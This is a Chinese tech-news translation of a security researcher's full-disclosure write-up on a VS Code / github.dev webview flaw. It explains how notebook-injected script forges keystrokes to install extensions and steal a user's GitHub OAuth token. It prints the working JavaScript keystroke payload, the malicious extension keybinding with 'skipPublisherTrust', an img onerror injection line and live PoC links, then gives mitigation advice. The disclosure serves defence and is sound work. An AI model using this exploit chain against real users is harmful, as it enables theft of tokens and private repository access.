怒怼微软后,研究员公开GitHub高危漏洞:一个链接拿下私有仓库权限
近日,安全研究员 Ammar Askar 公开了一条利用 VSCode 漏洞一键窃取 GitHub Token 的完整攻击链。攻击者无需密码、无需下载恶意程序,只要诱导用户打开一个特制链接,就有机会获取 GitHub Token,并获得对私有仓库的读写权限。
更具争议的是,在披露漏洞的同时,Askar 还公开炮轰微软安全响应中心(MSRC),称其长期低估 VS Code 安全问题,甚至曾在未给予任何致谢的情况下悄悄修复其提交的漏洞。因此,这一次他直接放出了完整 PoC 和利用细节。
来源:https://blog.ammaraskar.com/github-token-stealing/#what-vscode-did-well
作者 | Ammar Askar 责编 | 苏宓
出品 | CSDN(ID:CSDNnews)
背景
你可能不知道,GitHub 其实有一个很方便的功能,叫做 github.dev。
在你有权限访问的任意代码仓库中,只要把网址从 github.com 改成 github.dev,或者点击文件页面里的一个下拉入口(在 GitHub 文件浏览界面中选择“在 github.dev 中打开”的菜单项):
你就会进入一个轻量版的 VS Code,它完全运行在浏览器中。(某种程度上,这也算是 Electron 架构带来的延伸能力)
这个网页版 VS Code 功能相当完整:你可以浏览仓库中的所有文件(包括私有仓库),还可以发起 Pull Request,甚至直接提交代码。
它之所以能做到这些,是因为 github.com 会通过 POST 请求将一个 OAuth token 传递给 github.dev,用来代表你与 GitHub 进行交互。需要注意的是,这个 token 并不是仅限于当前访问的仓库,而是覆盖你有权限访问的所有仓库。
正因为这个 token 的存在,再加上整个 web 端几乎运行了 VS Code 那套规模庞大的 TypeScript 代码库,使得它天然成为安全研究人员和漏洞挖掘者重点关注的目标。
接下来要讨论的,就是这样一种 VS Code 相关漏洞,攻击者可以利用它来窃取你的 GitHub token。
开发者“神装”补给站|CSDN 读者专属福利
无套路领取 100 小时 GPU 算力
瑞幸咖啡/肯德基早餐/麦当劳套餐/下午茶等能量套餐任选其一
入群还可每月定期抽取旗舰显卡、AI PC 等极客神装
领取地址:https://s.csdn.cn/4nPsOp
VS Code Webview 安全模型
作为一款桌面版 Electron 应用,如果能够在 VSCode 中执行任意 JavaScript 代码,本质上就等同于获得远程代码执行能力。因此 VS Code 引入了多种沙箱机制,其中我们这里重点关注的是 VSCode 的 webview。
Webview 通过使用一个与主 VS Code 窗口不同源的 <iframe> 来实现隔离,从而确保其中执行的任何 JavaScript 都被严格限制在沙箱环境内。这类 webview 通常用于 Markdown 预览或 Jupyter Notebook 编辑等功能:
在 Jupyter Notebook 中通过 iframe 渲染 HTML 输出
单元格的输出会被渲染到一个来自 vscode-webview://... 源的 <iframe> 中,而不是主 Electron 窗口的 vscode-file://... 源中。
这意味着,即使 Jupyter Notebook 支持 HTML 展示或通过 JavaScript 实现交互式组件,这些代码也无法影响 VS Code 核心应用本身。也就是说,不能在这个 iframe 中调用 Node.js 的 Electron API,也无法直接访问 VS Code 的内部 API。
很好,这样我们就获得了“内容渲染能力”,但如果只是静态内容就太无聊了。那 VS Code 是如何实现一些交互功能的,比如 Markdown 预览中高亮当前编辑行,或者在编辑时实时同步预览内容?
Markdown 预览中展示对应源码行的高亮效果
同源策略虽然提供了安全性,但也导致主编辑器窗口无法直接访问 vscode-webview://... 这个 iframe 中的 DOM。毕竟,如果 <iframe src="google.com"> 允许外部页面直接操作 Google 页面 DOM,那就可以窃取 cookie 或篡改页面行为,这显然是不能接受的。
document.getElementsByTagName('iframe')[0].contentWindow.findElementById('foo') Uncaught SecurityError: Failed to read a named property 'findElementById' from 'Window': Blocked a frame with origin "vscode-file://vscode-app" from accessing a cross-origin frame.要实现跨页面交互,唯一的方式是让两个不同源页面通过 Window.postMessage() API 进行通信。该方法允许在不同 window 之间传递 JavaScript 对象。因此,在“Markdown 高亮对应编辑器行”的场景中,主编辑器窗口会发送类似这样的消息:
{ type: "onDidChangeTextEditorSelection", line: 31 }而 webview 内部则会监听这些消息,并根据内容更新 UI 高亮:
window.addEventListener('message', async event => { const data = event.data as ToWebviewMessage.Type; switch (data.type) { ... case 'onDidChangeTextEditorSelection': marker.onDidChangeTextEditorSelection(data.line, documentVersion); return;注:VS Code 浏览器版本也采用了类似的沙箱设计模型。VS Code 开发者 Matt Bierner 曾写过一篇博客(https://blog.mattbierner.com/vscode-webview-web-learnings/),详细介绍了从 Electron 迁移到 Web 端过程中遇到的各种挑战,值得一看。
Bug
从结构上看,webview 的安全边界大致是这样的:
Webview security boundary
但从用户界面角度来看,webview 又是直接嵌入在窗口中的一部分。用户会自然期待一些基础操作能够正常工作,比如点击链接、拖拽,或者按下 Ctrl+F 搜索等:
Webviews 在 VS Code 界面中的位置
因此,VS Code 需要通过消息机制实现大量基础功能来“补齐体验”。而一提到键盘快捷键,熟悉 <iframe> 安全模型的人可能已经开始意识到问题所在。
在跨域环境中,浏览器提供了相当严格的隔离机制。如果你在 hackerman.com 页面中嵌入一个 google.com/login 的 iframe,你绝不希望外部页面能够在 iframe 上挂载键盘监听器,从而捕获用户在 Google 登录框中的输入,这会直接导致密码泄露。
好了,理解这一点之后,可以尝试在 VS Code webview 中点击一下,然后按下 Ctrl+Shift+P 打开命令面板。
VS Code 命令面板
嗯……居然是可以的。等等。情况有点不对。
为了避免“用户点进 webview 后快捷键全部失效”的糟糕体验,VS Code 在默认 webview 消息处理机制中加入了一个事件:did-keydown。当 webview 加载时,会在内部注册如下逻辑:
contentWindow.addEventListener('keydown', handleInnerKeydown); /** * @param {KeyboardEvent} e */ const handleInnerKeydown = (e) => { hostMessaging.postMessage('did-keydown', { key: e.key, keyCode: e.keyCode, code: e.code, shiftKey: e.shiftKey, altKey: e.altKey, ctrlKey: e.ctrlKey, metaKey: e.metaKey, repeat: e.repeat }); };也就是说,webview 会把键盘事件“上报”给主 VS Code 窗口,让主窗口像处理真实用户输入一样处理这些事件。
看起来很方便,但问题也随之出现:这意味着运行在不可信 webview 中的脚本,也可以伪造这些键盘事件。
换句话说,它可以假装自己是用户,从而触发各种快捷键行为。
例如打开命令面板,然后执行危险操作,比如安装攻击者控制的扩展。理论上,只需要模拟下面这串按键:
Ctrl+Shift+P
developer: install extension from location
Enter
<attacker controlled extension>
Enter
现实中事情并没有这么简单。虽然我们可以发送对应的 keydown 事件,但浏览器不会把它当作真实用户输入。VS Code 会弹出命令面板,但这些事件不会真正“打字”进入输入框。
不过幸运的是,这里命令面板并不是完全依赖 keydown 来输入字符,而是基于 HTML <input> 实现的。
我们可以通过发送 ↑ ↓ 来控制上下选择,也可以通过 Enter 选择命令,但任意字符输入是行不通的。
好消息是,VS Code 本身内置了大量快捷键,其中很多直接监听 keydown 事件,因此可以被利用。经过一番尝试,最简单的一种方式是利用这个默认快捷键:“Notifications: Accept Notification Primary Action”,对应 Ctrl+Shift+A,用于点击最新通知中的主操作按钮。
那这个通知是什么呢?
VS Code 中推荐安装扩展的通知
VS Code 有一个功能:可以通过 .vscode/extensions.json 文件向用户推荐扩展,例如:
{ "recommendations": [ "HackerMan.my-malicious-extension" ] }随后用户可以按 Ctrl+Shift+A 接受通知并安装该扩展,从而获得代码执行能力。看起来似乎很简单?
但实际上并不完全如此。自 VS Code 1.97 起,引入了 publisher trust system(发布者信任机制)。当用户首次安装来自新发布者的扩展时,即使点击通知中的“Install”,也会弹出如下确认对话框:
VS Code 发布者信任弹窗
虽然可以通过 Tab 键切换按钮,但要通过 Enter 直接确认“Trust Publisher & Install”是不行的,因为该按钮只监听自身的 keydown,而不是全局窗口事件。
我们可以尝试另一种机制:本地工作区扩展。只要当前工作区是可信的(而 github.dev / web 版本默认都是可信的),就可以直接从 .vscode/extensions 加载扩展。这种方式不会触发 publisher trust 检查,而是依赖 workspace trust。
于是看起来似乎可以直接把恶意代码放进 .vscode/extensions/extension.js 并执行。
但问题又出现了:这样做会触发 Content Security Policy(CSP)错误,因为扩展 worker 期望加载的资源来自 vscode-cdn.net,而不是本地路径。Web 版本的 VS Code 在这方面的支持还不够完善。
本地扩展触发的 CSP 报错
不过,这只是一个小问题。因为 VS Code 扩展的 package.json 允许贡献键盘绑定(keybindings),而键盘绑定是我们可以可靠触发的机制。
于是思路变成:不直接执行代码,而是通过 keybinding 间接调用 VS Code 命令,例如安装扩展,并绕过 publisher trust 检查。
最终 package.json 结构如下:
"contributes": { "keybindings": [ { "key": "ctrl+f1", "command": "runCommands", "args": { "commands": [ { "command": "workbench.extensions.installExtension", "args": [ "AmmarTest.hello-ammar-github", { "donotSync": true, "context": { "skipPublisherTrust": true } } ] } ] } } ] }总而言之,要把整个攻击链串起来,需要一个包含 Jupyter notebook + 本地扩展的代码仓库。Notebook 中通过 Markdown cell 注入 JavaScript,例如:
<img src="data:foobar" onerror="javascript(); goes(); here();">最终 payload 的执行逻辑如下:
1. 等待 VS Code 启动并弹出扩展推荐通知
2. 模拟 Ctrl+Shift+A,接受推荐扩展安装
3. 等待扩展安装并激活(此时自定义 keybinding 生效)
4. 模拟 Ctrl+F1,触发恶意扩展安装逻辑
对应的 JavaScript payload 如下:
// Wait for VSCode to load and pop open the notification. await sleep(10 * 1000); // ctrl+shift+a, accept the primary notification asking if we want to install // the recommended extension window.dispatchEvent( new KeyboardEvent("keydown", {key: "a", code: "KeyA", keyCode: 65, ctrlKey: true, shiftKey: true}) ); // Wait a little for the extension to install... await sleep(500); // ctrl+f1, the custom keybind to install the chosen extension. window.dispatchEvent( new KeyboardEvent("keydown", {key: "F1", code: "F1", keyCode: 112, ctrlKey: true}) );PoC 与防护措施
在了解了整个细节之后,我们来看一下这个漏洞的概念验证(PoC)。如果你足够“勇敢”,可以直接点击下面这个链接:
https://github.dev/ammaraskar/github-dev-token-steal-poc/blob/main/README.ipynb
这个链接会直接在 github.dev 中打开对应的 notebook 文件。进入后,你会看到一个状态提示,展示 JavaScript payload 当前正在执行的步骤。
PoC 初始页面
当 payload 执行完成后,新安装的扩展会读取你的 GitHub API token,并调用 https://api.github.com/user/repos 来获取你有权限访问的私有仓库列表。随后,这些仓库信息以及你的 token 会一起被打印在一个信息框中展示出来。
PoC 中展示的私有仓库列表
相关代码可以在以下两个项目中查看:
已安装扩展:https://github.com/ammaraskar/vscode-github-token-grab-extension/blob/main/src/extension.ts
Notebook JS:https://github.com/ammaraskar/github-dev-token-steal-poc/blame/main/README.ipynb
如果你运行了这个 PoC,请务必记得清理 github.dev 的数据,或者至少卸载这个测试扩展,否则它会持续在所有 github.dev 页面中运行并影响你的会话。
值得注意的是,这个漏洞在 VS Code 桌面版中同样存在,只不过利用门槛更高一些,因为攻击者需要诱导受害者克隆恶意仓库,并打开包含 webview payload 的 notebook。当然,如果在 webview 中还存在另一个 XSS 漏洞,那么攻击者几乎可以在用户机器上获得完整的远程代码执行能力。
防护措施
幸运的是,如果你从未使用过 github.dev,那么在首次访问该网站时会看到一个需要点击确认的对话框。这在过去并不存在,而是由于 VS Code 的 GitHub 插件机制发生了变化后才引入的。
初始登录确认对话框
这意味着,如果你清理掉 github.dev 的 cookies 和本地站点数据,那么当有人试图用类似攻击诱导你进入页面时,你有机会及时中断并离开页面。
强烈建议你清理 github.dev 的站点数据。在 Chrome 中,可以点击地址栏左侧的小图标,然后进入:Cookies 和网站数据 → 管理设备上的网站数据(Manage on-device site data)
在这里你可以看到相关存储内容:
Chrome 中管理站点数据界面
然后将所有与 github.dev 相关的域名数据全部删除即可(通过垃圾桶图标操作)。
Chrome 删除站点数据界面
但遗憾的是,如果你曾经已经通过过这个初始化对话框,并且没有清理浏览器本地存储,那么基本上就已经无法通过这个方式自我保护了。github.dev 并没有使用 CSRF token 之类的额外防护机制,这意味着互联网上任何一个链接都可能将你重定向到这条攻击链上。
VS Code 做得好的地方
VS Code 的设计思路在这里其实有一个比较值得肯定的点:它并没有单纯依赖 <iframe> 来做隔离,而是采用了“纵深防御”(defense-in-depth)的安全策略,比如严格的 Content Security Policy(内容安全策略),以及在渲染 Markdown 时使用 DOMPurify 进行净化处理。
这些措施在这里确实起到了很关键的作用。如果 Markdown 预览页面存在允许执行任意 JavaScript 的能力,那整个问题的影响面会进一步扩大——甚至可能变成“只要给别人发一个扩展链接,就能在桌面端实现一键远程代码执行”。不过由于这里设置了 script-src 'none' 这样的 CSP 策略,这种攻击路径在一开始就被有效阻断了。
扩展视图中的 Content Security Policy
为什么选择完全公开披露?
简单回顾我上一次向 MSRC(Microsoft Security Response Center)提交 VS Code 安全漏洞的经历,那是一段相当糟糕的体验:他们在没有任何说明的情况下悄悄修复了我报告的问题,同时也没有给予任何致谢,并且还将该问题标记为“无安全影响”。
正如我在之前的文章中提到的,从那之后,只要我在 VS Code 中发现安全漏洞,就会选择进行完全公开披露(full disclosure)。
而从最近 Starlabs 提交的一个 VS Code XSS 漏洞报告来看,该问题也被标记为“不符合条件”且“低严重性”,MSRC 对 VS Code 安全问题的处理方式似乎并没有明显改善。
我当然理解 VS Code 团队如果能提前获得更长的预警,会更有时间去设计修复方案。安全与用户体验之间确实存在需要权衡的地方。但对我而言,这也是少数能够影响 MSRC 以及 VS Code 安全策略的方式之一。
发现并完整复现一个可以用于 PoC 的安全漏洞本身需要大量时间和精力,这些投入不应该被忽视或轻易否定。
